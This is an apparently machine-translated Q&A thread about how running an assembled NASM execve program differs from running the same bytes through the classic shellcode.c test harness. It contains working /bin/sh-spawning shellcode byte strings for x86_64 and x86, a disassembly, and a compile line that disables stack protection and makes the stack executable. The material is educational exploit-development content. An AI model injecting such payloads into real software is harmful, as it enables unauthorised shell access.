运行汇编程序和运行 shellcode.c 中的反汇编代码的区别

亚当

我目前正在研究“Pentester Academy 的 x86_64 汇编语言和 Linux 上的 Shellcoding”课程 (www.pentesteracademy.com/course?id=7)。我有一个简单的问题,我不能完全弄清楚:什么是运行已组装和链接汇编程序之间的确切差异NASMld对经典运行同一程序拆解shellcode.c程序(写在下面)。为什么要使用一种方法而不是另一种方法?

例如,在遵循第一种方法时,我使用以下命令:

nasm -f elf64 -o execve_stack.o execve_stack.asm
ld -o execve_stack execve_stack.o
./execve_stack

使用第二种方法时,我在shellcode.c程序中插入反汇编的shellcode

#include <stdio.h>
#include <string.h>

unsigned char code[] = \
"\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";

int main(void) {

    printf("Shellcode length: %d\n", (int)strlen(code));
    int (*ret)() = (int(*)())code;
    ret();

    return 0;
}

...并使用命令:

gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
./shellcode

我分析了 GDB 中的两个程序,发现存储在某些寄存器中的地址不同。我还阅读了以下问题的答案(C 代码解释),这有助于我理解 shellcode.c 程序的工作方式。话虽如此,我仍然没有完全理解这两种方法的确切区别。

瓦利

这两种方法在理论上没有区别。在这两种情况下,您最终都会在处理器上执行一堆汇编指令。

shellcode.c程序只是为了演示如果运行定义为unsigned char code[]变量中的字节数组的程序集会发生什么

为什么要使用一种方法而不是另一种方法?

我认为您不了解 shellcode 的目的和shellcode.c程序背后的推理(为什么它显示在处理器执行您可以控制的任意字节序列时会发生什么)。

Shellcode 是一小段汇编代码,用于利用软件漏洞。攻击者通常利用缓冲区溢出等常见的编程错误将 shellcode 注入软件,然后试图让软件执行注入的 shellcode。

一篇很好的文章展示了如何通过使用缓冲区溢出执行 shellcode 注入来生成 shell 的分步教程可以在这里找到

下面是一个经典的 shellcode\x83\xec\x48\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80在汇编器中的样子:

sub esp, 72
xor eax, eax
xor edx, edx
push eax
push 0x68732f2f    ; "hs//" (/ is doubled because you need to push 4 bytes on the stack)
push 0x6e69622f    ; "nib/"
mov ebx, esp       ; EBX = address of string "/bin//sh"
push eax
push ebx
mov ecx, esp
mov al, 0xb        ; EAX = 11 (which is the ID of the sys_execve Linux system call)
int 0x80

在 x86 环境中,这会execve使用“/bin/sh”字符串作为参数进行系统调用。

本文收集自互联网,转载请注明来源。

如有侵权,请联系[email protected] 删除。

编辑于
0

我来说两句

0条评论
登录后参与评论

相关文章

来自分类Dev

如何配置Qt创建器以显示C ++代码而不是反汇编程序?

来自分类Dev

运行基本的汇编程序

来自分类Dev

如何将汇编程序正确转换为shellcode?

来自分类Dev

VS Code是否具有用于C ++扩展的内存查看器和/或反汇编程序?

来自分类Dev

汇编程序例程的C代码-ARM

来自分类Dev

编写正在运行的汇编程序

来自分类Dev

编写正在运行的汇编程序

来自分类Dev

运行汇编程序时输出奇怪

来自分类Dev

C ++ CodeBlocks反汇编;方式太多的代码?

来自分类Dev

在ARMv8中为objdump反汇编程序定义代码偏移量

来自分类Dev

用C和Python实现一个汇编程序

来自分类Dev

将用户输入从 C 传递给汇编程序

来自分类Dev

C语言全局数组在其反汇编代码中的位置在哪里

来自分类Dev

我应该在C ++中使用哪种工具来创建简单的RISC-V反汇编程序?

来自分类Dev

为什么我尝试运行汇编程序(x86)在Dosbox中冻结?

来自分类Dev

这种反汇编如何与给定的C代码相对应?

来自分类Dev

MASM Shellcode和NASM Shellcode之间有区别吗

来自分类Dev

如何将Shellcode转换为可读的汇编代码/指令?

来自分类Dev

C ++汇编程序输出中的重复析构函数

来自分类Dev

如何在Visual C ++内联汇编程序中通过引用获取价值?

来自分类Dev

如何为thumb2(T32)指令运行linaro汇编程序

来自分类Dev

如何为thumb2(T32)指令运行linaro汇编程序

来自分类Dev

XCode中组装和反汇编之间的区别

来自分类Dev

运行存储在动态允许的内存中的shellcode

来自分类Dev

在GDB中反汇编C函数。澄清GAS组装说明

来自分类Dev

在反汇编Visual C ++中我的函数及其参数的名称

来自分类Dev

GDB无法正确反汇编在RAM中运行的程序

来自分类Dev

GDB无法正确反汇编在RAM中运行的程序

来自分类Dev

C ++内联汇编程序帮助。(错误C2400)

Related 相关文章

  1. 1

    如何配置Qt创建器以显示C ++代码而不是反汇编程序?

  2. 2

    运行基本的汇编程序

  3. 3

    如何将汇编程序正确转换为shellcode?

  4. 4

    VS Code是否具有用于C ++扩展的内存查看器和/或反汇编程序?

  5. 5

    汇编程序例程的C代码-ARM

  6. 6

    编写正在运行的汇编程序

  7. 7

    编写正在运行的汇编程序

  8. 8

    运行汇编程序时输出奇怪

  9. 9

    C ++ CodeBlocks反汇编;方式太多的代码?

  10. 10

    在ARMv8中为objdump反汇编程序定义代码偏移量

  11. 11

    用C和Python实现一个汇编程序

  12. 12

    将用户输入从 C 传递给汇编程序

  13. 13

    C语言全局数组在其反汇编代码中的位置在哪里

  14. 14

    我应该在C ++中使用哪种工具来创建简单的RISC-V反汇编程序?

  15. 15

    为什么我尝试运行汇编程序(x86)在Dosbox中冻结?

  16. 16

    这种反汇编如何与给定的C代码相对应?

  17. 17

    MASM Shellcode和NASM Shellcode之间有区别吗

  18. 18

    如何将Shellcode转换为可读的汇编代码/指令?

  19. 19

    C ++汇编程序输出中的重复析构函数

  20. 20

    如何在Visual C ++内联汇编程序中通过引用获取价值?

  21. 21

    如何为thumb2(T32)指令运行linaro汇编程序

  22. 22

    如何为thumb2(T32)指令运行linaro汇编程序

  23. 23

    XCode中组装和反汇编之间的区别

  24. 24

    运行存储在动态允许的内存中的shellcode

  25. 25

    在GDB中反汇编C函数。澄清GAS组装说明

  26. 26

    在反汇编Visual C ++中我的函数及其参数的名称

  27. 27

    GDB无法正确反汇编在RAM中运行的程序

  28. 28

    GDB无法正确反汇编在RAM中运行的程序

  29. 29

    C ++内联汇编程序帮助。(错误C2400)

热门标签

归档